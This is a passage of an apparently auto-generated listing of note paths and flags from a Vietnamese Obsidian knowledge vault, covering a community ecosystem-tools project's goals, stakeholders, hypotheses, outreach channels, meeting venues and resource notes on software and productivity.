+ "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "10000 người biết tới sự tồn tại của vault" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "2000 người mở vault 1 lần" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "2500 người tải bộ cài về" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "4000 người nhấp vào link tải" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "50% người dễ dàng tự sử dụng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "50% người hỏi về sau buổi demo" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "500 người mở vault ít nhất 10 lần" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng mở vault hướng dẫn Obsidian", + "80% người mới đến được nơi họ cần đến trong 3 giây" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng tạo vault để quản lý cuộc sống của họ", + "người làm vault để quản lý cuộc sống của họ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "1 người tham gia phỏng vấn mỗi tuần" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "100% người tham gia cho phản hồi về độ hấp dẫn của bài học" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "20% người tham gia tìm hiểu về Quả Cầu" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "3 nhóm chỉ cần đi học không bị mất tiền" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "50% người chia sẻ vault cho bạn bè" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Người dùng đóng góp cho dự án", + "Nhật hoàn thiện được vault giáo trình Obsidian" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Nhóm dự án dùng vault để quản lý công việc", + "100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "2 Thành quả mong muốn", + "Nhóm dự án dùng vault để quản lý công việc", + "50 nhóm dự án sử dụng Obsidian để quản lý công việc" +] + +🚀: true +[ "", "📐 Dự án", "Công cụ cho hệ sinh thái", "4 Các bên liên quan" ] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo giải pháp đang sử dụng", + "Người đang dùng Google Drive" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo giải pháp đang sử dụng", + "Người đang dùng Notion cho QLDA" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo mức độ tham gia", + "Người muốn hỗ trợ người khác xây vault" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo mức độ tham gia", + "Người tham gia kênh Obsidian tiếng Việt" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo mức độ tham gia", + "Người theo dõi QC" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo mức độ tham gia", + "Người đóng góp nội dung" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo mức độ tham gia", + "TNV QC" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo nhu cầu", + "Người muốn quản lý cuộc sống cá nhân" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo nhu cầu", + "Người muốn quản lý dự án, tổ chức" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo nhu cầu", + "Người muốn xây dựng cộng đồng hoặc mạng lưới" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo nhu cầu", + "Người tò mò về Obsidian" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người có viết plugin" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người tham gia thầm lặng kênh Obsidian tiếng Việt" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người tham gia tích cực kênh Obsidian tiếng Việt" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người đã dùng Git mức 1" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người đã dùng Git mức 2" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người đã dùng Obsidian mức 1" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "4 Các bên liên quan", + "Loại đối tượng", + "Theo trình độ dùng Obsidian", + "Người đã dùng Obsidian mức 2" +] + +🚀: true +[ "", "📐 Dự án", "Công cụ cho hệ sinh thái", "5 Giả thuyết" ] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Giả thiết về đối tượng thụ hưởng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Người dùng sử dụng dễ dàng Obsidian" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Người muốn đóng góp có biết cách đóng góp" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Obsidian hữu ích để quản lý công việc" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "5 Giả thuyết", + "Việc phải nói chuyện nhu cầu của nhau là mệt mỏi" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "9 Blog", + "Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Thành phẩm", + "Kế hoạch", + "Kế hoạch phát triển công cụ cho hệ sinh thái" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Bài viết về vấn đề về hệ sinh thái" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Email", + "Hanoi Grapevine" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Email", + "Lê Nguyễn Tường Vân" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Email", + "Nguyễn Cảnh Bình" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Email", + "Nguyễn Hoàng Hải" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Kế hoạch truyền thông" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Truyền thông", + "Từ việc lưu dữ liệu tại chỗ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Công cụ cho hệ sinh thái", + "Xây dựng hệ thống tri thức cộng đồng" +] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "4 Kế hoạch", "Giả thiết" ] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "4 Kế hoạch", + "Mục tiêu và câu hỏi nghiên cứu" +] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "4 Kế hoạch", "Phỏng vấn Huyền" ] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "9 Blog", + "Chia sẻ kho kiến thức, tài nguyên đến với mọi người" +] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "9 Blog", "Giới thiệu đối ⊷ thoại" ] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "9 Blog", "Hướng dẫn sử dụng" ] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "9 Blog", "Liên kết tiếng Việt" ] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "9 Blog", + "Mở các cuộc đối thoại với cộng đồng" +] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "9 Blog", + "Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng" +] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "9 Blog", + "Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn" +] + +🚀: false +[ + "", + "📐 Dự án", + "đối ⊷ thoại", + "9 Blog", + "Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng" +] + +🚀: false +[ "", "📐 Dự án", "đối ⊷ thoại", "9 Blog", "đối ⊷ thoại" ] + +🚀: false +[ "", "📐 Dự án", "Ξ Kết quả truyền thông", "Hướng dẫn truyền thông" ] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Kênh chat", + "AGB Saigon Plus" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Kênh chat", + "Discord Obsidian tiếng-Việt" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Kênh chat", + "Dạy Nhau Học" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Kênh chat", + "Symato" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Kênh chat", + "Tự học Data" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Công cụ nghĩ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Data-driven" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "ERP, no code" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Excel, AppScript" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Fintech, tài chính cá nhân" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Khoa học dữ liệu" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Lập trình nói chung" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Dữ liệu", + "Sản phẩm, phân tích kinh doanh" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Hỗ trợ tổ chức", + "Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Hỗ trợ tổ chức", + "Launch" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Hỗ trợ tổ chức", + "SME, startup, khởi nghiệp" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Kingdom of Cubes" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Nghề nghiệp", + "BPO" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Nghề nghiệp", + "Marketing" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Nghề nghiệp", + "Sự kiện, HR" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Nghề nghiệp", + "Web dev, GA, Ads, SEO, MMO" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Sở thích công nghệ", + "Công nghệ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Nhóm Facebook", + "Sở thích công nghệ", + "J2TEAM" +] + +🚀: true +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Quả Cầu", + "Discord QC" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Quả Cầu", + "Discord QC", + "Untitled" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Quả Cầu", + "Facebook page QC" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Quả Cầu", + "LinkedIn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Ξ Kết quả truyền thông", + "Nơi đăng", + "Quả Cầu", + "Profile QC" +] + +🚀: true +[ "", "📐 Dự án" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cách để tìm công cụ đúng nhu cầu của mình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "LibGen" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Obsidian", + "Khi được trò chuyện với người cùng quan tâm thì việc nghĩ không nhức đầu. Khi không có thì việc nghĩ nhức đầu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Obsidian", + "Không reply sau 3 tháng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Stack Exchange", + "SO không xem mình là trang dạy kiến thức" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Stack Exchange" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Teamliquid, Liquidpedia, tl.net" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Wikipedia", + "Trường phái bớt và trường phái thêm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Wikipedia", + "Uy quyền sự thật của Wikipedia" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Cộng đồng online", + "Wikipedia", + "Đóng góp vào Wikipedia" +] + +🚀: true +[ "", "📜Tài nguyên", "Giải pháp kỹ thuật" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Các công việc tổ chức một buổi họp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Kinh nghiệm setup khi có cả online và offline" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Làm livestream và video" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "Hà Nội", + "Cricket" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "Hà Nội", + "Cái Giếng" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "Hà Nội" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Không gian làm việc chung", + "Căn tin bệnh viện" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Không gian làm việc chung" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Không gian làm việc chung", + "Phòng tự học của các trường đại học" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Không gian làm việc chung", + "SiHub" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Cái Tổ Nhỏ" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Phòng sinh hoạt chung cư GoldView" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Tối đa 10 người", + "UAC" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Tối đa 10 người", + "Vẫn đang suy nghĩ space" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Viễn Đông" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Phòng họp riêng", + "Zest X Space" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán có phòng riêng", + "Flat White" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán có phòng riêng", + "ME" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán có phòng riêng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán có phòng riêng", + "Tonkin" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán không có phòng riêng", + "Mr Bean" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Quán không có phòng riêng" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Địa điểm công cộng", + "Công viên" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Địa điểm công cộng", + "Sân vườn chung cư GoldView" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Hậu cần", + "Nơi gặp mặt trực tiếp", + "TP.HCM", + "Địa điểm công cộng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Hệ điều hành", + "Chặn quảng cáo trong app Android" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Hệ điều hành", + "Xóa bloatware trên Windows, Android" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Chặn quảng cáo trên trình duyệt" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "FB purity giúp giảm rác Facebook" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Loại bỏ popup bằng Idontcareaboutcookies, No Thanks" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Tránh bị nghiện mạng xã hội" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Tập làm hacker" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Đọc những trang thu phí bằng 12ft.io" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Loại bỏ phiền nhiễu, vượt rào cản", + "Web", + "Ẩn kết quả tìm kiếm rác trên Google" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "PDF", + "Chỉnh sửa PDF hàng loạt bằng cpdf" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "PDF", + "Cách setup cho việc đọc PDF thường xuyên" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "PDF", + "PDF là để in ra giấy, không phải để đọc trên máy" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "PDF", + "Tạo mục lục cho PDF" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Facebook vs Discord" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Google Calendar" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Google Drive" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm chat nhóm", + "Discord" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm chat nhóm", + "Messenger" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm chat nhóm", + "Zalo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Butter" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Discord (gọi video)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Gather" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Google Meet" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Messenger (gọi video)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Microsoft Teams" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Zalo (gọi video)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm gọi video", + "Zoom" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm minh hoạ cho nhóm", + "ExcaliDraw" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Giải pháp kỹ thuật", + "Phần mềm làm việc nhóm (groupware)", + "Phần mềm minh hoạ cho nhóm", + "Miro" +] + +🚀: false +[ + 